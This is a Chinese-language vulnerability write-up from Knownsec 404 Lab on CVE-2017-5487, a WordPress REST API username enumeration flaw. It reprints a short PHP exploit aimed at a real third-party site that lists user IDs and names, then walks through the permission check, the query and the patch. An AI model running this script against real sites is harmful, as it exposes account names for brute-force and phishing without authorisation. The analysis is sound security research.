Author: p0wd3r (知道创宇404安全实验室)

Date: 2017-03-05

0x00 漏洞概述

漏洞简介

近日 exploit-db 上公布了一个 Wordpress < 4.7.1 的用户名枚举漏洞:https://www.exploit-db.com/exploits/41497/ ,实际上该漏洞于1月14号就已经在互联网上公布,并赋予了 CVE-2017-5487。利用该漏洞攻击者可以在未授权状态下获取之前发布过文章的用户的用户名、id 等信息。

漏洞影响

未授权状态下获取之前发布过文章的用户的用户名、 id 等信息。

触发前提:Wordpress 配置 REST API

影响版本:< 4.7.1

0x01 漏洞复现

环境搭建

下载相应版本的 Wordpress ,然后配置 REST API,具体参见:https://www.seebug.org/vuldb/ssvid-92637

复现

我们先看 exploit-db 上给出的 exp :

#!usr/bin/php
<?php

#Author: Mateus a.k.a Dctor
#fb: fb.com/hatbashbr/
#E-mail: dctoralves@protonmail.ch
#Site: https://mateuslino.tk 
header ('Content-type: text/html; charset=UTF-8');


$url= "https://bucaneiras.org/";
$payload="wp-json/wp/v2/users/";
$urli = file_get_contents($url.$payload);
$json = json_decode($urli, true);
if($json){
    echo "*-----------------------------*\n";
foreach($json as $users){
    echo "[*] ID :  |" .$users['id']     ."|\n";
    echo "[*] Name: |" .$users['name']   ."|\n";
    echo "[*] User :|" .$users['slug']   ."|\n";
    echo "\n";
}echo "*-----------------------------*";} 
else{echo "[*] No user";}


?>

可以看到它是利用 REST API 来获取用户的信息,对应的文件是wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php,接下来使用 exp 并且开启动态调试。

首先程序进入get_items_permissions_check函数:

/**
     * Permissions check for getting all users.
     *
     * @since 4.7.0
     * @access public
     *
     * @param WP_REST_Request $request Full details about the request.
     * @return true|WP_Error True if the request has read access, otherwise WP_Error object.
     */
    public function get_items_permissions_check( $request ) {
        // Check if roles is specified in GET request and if user can list users.
        if ( ! empty( $request['roles'] ) && ! current_user_can( 'list_users' ) ) {
            return new WP_Error( 'rest_user_cannot_view', __( 'Sorry, you are not allowed to filter users by role.' ), array( 'status' => rest_authorization_required_code() ) );
        }

        if ( 'edit' === $request['context'] && ! current_user_can( 'list_users' ) ) {
            return new WP_Error( 'rest_forbidden_context', __( 'Sorry, you are not allowed to list users.' ), array( 'status' => rest_authorization_required_code() ) );
        }

        if ( in_array( $request['orderby'], array( 'email', 'registered_date' ), true ) && ! current_user_can( 'list_users' ) ) {
            return new WP_Error( 'rest_forbidden_orderby', __( 'Sorry, you are not allowed to order users by this parameter.' ), array( 'status' => rest_authorization_required_code() ) );
        }

        return true;
    }

函数中有三个条件语句,如果条件成立就返回错误。但是仔细看每一个的条件都是 $request[xxx] && ! current_user_can( 'list_users' ),这也就意味者只要前面的语句不成立,那么后面的current_user_can('list_users')就失去了作用。至于$request['roles']$request['context']$request['orderby']的值,通过调试我们可以看到,三者值如下:

request_array.png

均不符合条件,所以函数返回true,成功通过了权限检查。

接下来程序进入了get_items函数,先是设置了一些查询参数然后使用$query = new WP_User_Query( $prepared_args );进行查询,我们直接在WP_User_Queryquery函数处下断点:

./break_query.png

$this->request即为执行的查询,其值如下:

SELECT SQL_CALC_FOUND_ROWS wp_users.* FROM wp_users WHERE 1=1 AND wp_users.ID IN ( SELECT DISTINCT wp_posts.post_author FROM wp_posts WHERE wp_posts.post_status = 'publish' AND wp_posts.post_type IN ( 'post', 'page', 'attachment' ) ) ORDER BY display_name ASC LIMIT 0, 10

可见该 API 可以获取的用户必须满足以下几个条件:

  • 发表过文章
  • 文章的当前状态是publish
  • 文章类型是postpageattachment其中之一

在我们的环境中,admin 用户默认会有文章,所以我们执行 exp 后会得到 admin 的一些信息:

./admin_info.png

接下来我们再创建一个新的用户 tommy,再执行 exp 发现结果和上面一样,原因就是因为还没有发文章。我们登录 tommy 并发布一篇文章,然后再执行 exp:

./tommy.png

这回就可以获取 tommy 的信息了。

0x02 补丁分析

Wordpress 官方给出的补丁如下:

./commit.png

Only show users that have authored a post of a post type that has show_in_rest set to true.

意思是仅当用户发表的文章的类型的show_in_rest属性为true时,才可以获取该用户的信息。

在代码层面上,补丁设置了$prepared_args['has_published_posts']的值,该值在构造查询语句时会用到:

if ( $qv['has_published_posts'] && $blog_id ) {
            if ( true === $qv['has_published_posts'] ) {
                $post_types = get_post_types( array( 'public' => true ) );
            } else {
                $post_types = (array) $qv['has_published_posts'];
            }
...

将查询中的$post_type设置为show_in_rest=true的那些类型,那么哪些类型的show_in_resttrue呢?

wp-includes/post.php中的create_initial_post_types函数中可以看到postpageattachmentshow_in_rest均为true,和补丁前查询中的类型一致,也就是说其实最新版本在默认情况下还是可以使用这个 exp 的,实际测试的结果也是如此:

exp_again.png

至于为什么这样,笔者认为可能该 API 的设计意图就是让其他人获得发布过文章的用户的用户名,因为文章已经公开了,用户名自然也就公开了。这次补丁给了用户更多的定制化空间,因为用户可以自己通过register_post_type来创建文章类型,补丁中提供的show_in_rest属性可以让用户自己选择用户信息对于 API 的可见性。

本文写得实在仓促,如果哪里有不对的地方,还望大家多多指教。

0x03 参考


Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/239/